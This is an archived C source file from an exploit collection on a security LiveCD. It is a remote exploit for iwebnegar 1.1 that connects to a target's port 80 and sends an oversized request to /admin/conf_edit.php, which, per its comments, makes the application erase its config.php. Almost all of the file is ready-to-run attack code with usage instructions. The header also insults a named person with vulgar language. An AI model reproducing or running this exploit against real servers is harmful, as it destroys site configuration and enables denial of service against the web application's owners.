home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webapp / iwebnegar / iWebNegar.c < prev   
C/C++ Source or Header  |  2005-03-05  |  2KB  |  95 lines

  1. /*
  2.     iwebnegar 1.1 remote exploit
  3.     c0ded by root / c0d3r " kaveh razavi ": c0d3rz_team@yahoo.com
  4.         bug found by " hossein asgary " in simorgh-ev security team ( u rux hossein )
  5.         compile with Ms visual C++ (the php version written by the bug finder but still priv8)
  6.         greetz : LorD & NT from IHS , vbehzadan & sIiiS from hyper-security.com ,
  7.         Jamie & Ben from exploitdev .
  8.         Lamer : shervin_kesafat@yahoo.com ( who can fuck him ? )
  9.   */
  10.   /* there is a limited buffer in the php code of iwebnegar when u overflow it , it will
  11.       go to Die() functions which cause the erase of config.php
  12.   */
  13. #include <stdio.h>
  14. #include <stdlib.h>
  15. #include <string.h>
  16. #include <winsock2.h>
  17. #pragma comment(lib, "ws2_32.lib")
  18. #define size 300
  19.  
  20.  
  21.  
  22. int main (int argc, char *argv[]){
  23.  
  24.  
  25.  
  26.  char req[] =
  27.           "GET /admin/conf_edit.php?";
  28.   unsigned int rc,addr,sock ;
  29.   struct sockaddr_in tcp;
  30.   struct hostent * hp;
  31.   WSADATA wsaData;
  32. char buffer[size];
  33.  
  34.    memset(buffer,'A',300);
  35.    memcpy(buffer,req,25);
  36.  
  37.                 if(argc < 2) {
  38.                 printf("\nusage : iwebnegar host\n");
  39.                 printf("example : iwebnegar.exe 127.0.0.1\n");
  40.                 exit(-1) ;
  41.         }
  42.   
  43.   if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0){
  44.    printf("WSAStartup failed !\n");
  45.    exit(-1);
  46.   }
  47.         hp = gethostbyname(argv[1]);
  48.   if (!hp){
  49.    addr = inet_addr(argv[1]);
  50.   }
  51.   if ((!hp) && (addr == INADDR_NONE) ){
  52.    printf("Unable to resolve %s\n",argv[1]);
  53.    exit(-1);
  54.   }
  55.   sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  56.   if (!sock){
  57.    printf("socket() error...\n");
  58.    exit(-1);
  59.   }
  60.           if (hp != NULL)
  61.    memcpy(&(tcp.sin_addr),hp->h_addr,hp->h_length);
  62.   else
  63.    tcp.sin_addr.s_addr = addr;
  64.  
  65.   if (hp)
  66.    tcp.sin_family = hp->h_addrtype;
  67.   else
  68.    tcp.sin_family = AF_INET;
  69.  
  70.   tcp.sin_port=htons(80);
  71.   
  72.   printf("\n[+] attacking host %s\n" , argv[1]) ;
  73.   printf("[+] Building overflow string\n");
  74.   Sleep(1000);
  75.   printf("[+] packet size = %d byte\n" , sizeof(buffer));
  76.   rc=connect(sock, (struct sockaddr *) &tcp, sizeof (struct sockaddr_in));
  77.   if(rc==0)
  78.   {
  79.     
  80.         Sleep(1000) ;
  81.          printf("[+] connected\n") ;
  82.          
  83.          send(sock , buffer , sizeof(buffer) , 0);
  84.         
  85.          printf("[+] see if the config.php erased ! \n\n") ;
  86.              
  87.         }
  88.   else {
  89.   printf("the 80 port is not open try another webserver port\n");
  90.  
  91.  
  92.   }
  93. }
  94.  
  95.